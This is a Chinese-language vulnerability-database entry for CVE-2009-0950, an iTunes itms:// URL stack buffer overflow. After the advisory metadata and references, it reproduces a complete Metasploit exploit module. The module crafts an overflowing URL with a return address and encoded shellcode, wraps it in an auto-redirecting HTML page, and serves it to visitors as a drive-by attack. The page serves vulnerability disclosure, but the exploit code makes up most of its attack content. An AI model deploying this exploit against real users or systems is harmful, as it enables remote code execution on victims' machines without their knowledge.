Apple iTunes多个URI处理器栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117903 漏洞类型 缓冲区溢出
发布时间 2009-06-03 更新时间 2010-01-14
CVE编号 CVE-2009-0950 CNNVD-ID CNNVD-200906-026
漏洞平台 OSX CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/8861
https://www.securityfocus.com/bid/35157
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200906-026
|漏洞详情
AppleiTunes是一款媒体播放程序。如果用户使用iTunes打开了恶意的itms、itmss、daap、pcast和itpcitmsURL的话,就可能在协议处理器中触发栈溢出,导致播放器崩溃或执行任意代码。
|漏洞EXP
##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
			'Description'    => %q{
				This modules exploits a stack-based buffer overflow in iTunes
				itms:// URL parsing.   It is accessible from the browser and
				in Safari, itms urls will be opened in iTunes automatically.
				Because iTunes is multithreaded, only vfork-based payloads should
				be used.
			},
			'Author'         => [ 'Will Drewry <redpig@dataspill.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:  $',
			'References'     =>
				[
					['CVE', 'CVE-2009-0950'],
					['URL', 'http://support.apple.com/kb/HT3592'],
					['URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html'],
				],
			'Payload'        =>
				{
					'Space'       => 1024,  # rough estimate of what browsers will pass.
					'DisableNops' => true,  # don't pad out the space.
					'BadChars' => '',
					# The encoder must be URL-safe otherwise it will be automatically
					# URL encoded.
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',  # See the comments below
							'BufferOffset' => 3,  # See the comments below
						},
				},
			'Targets'	=>
				[
					[
						'OS X',
						{
							'Platform'      => [ 'osx' ],
							'Arch'          => ARCH_X86,
							'Addr'          => 'ATe'
						},
					 ],
					[
						'Windows (not done yet)',
						{
							'Platform'      => [ 'win' ],
							'Arch'          => ARCH_X86,
							'Addr'          => 'CCCC'
						},
					 ],
				],
			'DisclosureDate' => 'June 1, 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
			], self.class)
	end

	# Generate distribution script, which calls our payload using JavaScript.
	def generate_itms_page(p)
		# Set the base itms url.
		# itms:// or itmss:// can be used.  The trailing colon is used
		# to start the attack.  All data after the colon is copied to the
		# stack buffer.
		itms_base_url = "itms://:"
		itms_base_url << "A"*268  # Fill up the real buffer
		itms_base_url << "XXXXAAAAZZZZYYYY"  # $ebx, $esi, $edi, $ebp
		itms_base_url << target['Addr']  # hullo there, jmp *%ecx!
		# The first '/' in the buffer will terminate the copy to the stack buffer.
		# In addition, $ecx will be left pointing to the last 6 bytes of the heap
		# buffer containing the full URL.  However, if a colon and a ? occur after
		# the value in ecx will point to that point in the heap buffer.  In our
		# case, it will point to the beginning.  The ! is there to make the
		# alphanumeric shellcode execute easily.  (This is why we need an offset
		# of 3 in the payload).
		itms_base_url << "/:!?"   # Truncate the stack overflow and prep for payload
		itms_base_url << p # Wooooooo! Payload time.
		# We drop on a few extra bytes as the last few bytes can sometimes be
		# corrupted.
		itms_base_url << "AAAA"

		# Use the pattern creator to simplify exploit creation :)
		# itms_base_url << Rex::Text.pattern_create(1024,
		#                                           Rex::Text::DefaultPatternSets)

		# Return back an example URL.  Using an iframe doesn't work with all
		# browsers, but that's easy enough to fix if you need to.
		return String(<<-EOS)
		<html><head><title>iTunes loading . . .</title></head>
		  <body>
		    <script>document.location.assign("#{itms_base_url}");</script>
		    <p>iTunes should open automatically, but if it doesn't, click to
		      <a href="#{itms_base_url}">continue</a>.</p>
		  </body>
		</html>
		EOS
	end

	def on_request_uri(cli, request)
		print_status("Generating payload...")
		return unless (p = regenerate_payload(cli))
		#print_status("=> #{payload.encoded}")
		print_status("=> #{payload.encoded.length} bytes")

		print_status("Generating HTML container...")
		page = generate_itms_page(payload.encoded)
		#print_status("=> #{page}")
		print_status("Sending itms page to #{cli.peerhost}:#{cli.peerport}")

		header = { 'Content-Type' => 'text/html' }
		send_response_html(cli, page, header)
		handler(cli)
	end

end

# milw0rm.com [2009-06-03]
|受影响的产品
Apple iTunes 7.3.2 Apple iTunes 7.3.1 Apple iTunes 7.3 Apple iTunes 7.0.2 Apple iTunes 8.1 Apple iTunes 8.0.2.20 Apple iTunes 8.0 Apple
|参考资料

来源:VUPEN
名称:ADV-2009-1470
链接:http://www.vupen.com/english/advisories/2009/1470
来源:BID
名称:35157
链接:http://www.securityfocus.com/bid/35157
来源:support.apple.com
链接:http://support.apple.com/kb/HT3592
来源:APPLE
名称:APPLE-SA-2009-06-01-2
链接:http://lists.apple.com/archives/security-announce/2009/Jun/msg00001.html
来源:XF
名称:itunes-itms-bo(50899)
链接:http://xforce.iss.net/xforce/xfdb/50899
来源:SECTRACK
名称:1022313
链接:http://www.securitytracker.com/id?1022313
来源:BUGTRAQ
名称:20090602Re:TPTI-09-03:AppleiTunesMultipleProtocolHandlerBufferOverflowVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/504043/100/0/threaded
来源:MILW0RM
名称:8934
链接:http://www.milw0rm.com/exploits/8934
来源:MILW0RM
名称:8861
链接:http://www.milw0rm.com/exploits/8861
来源:MISC
链接:http://static.dataspill.org/releases/itunes/itms_overflow.rb
来源:SECUNIA
名称:35314
链接:http://secunia.com/advisories/35314
来源:MISC
链接:http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html
来源:OSVDB
名称:54833
链接:http://osvdb.org/54833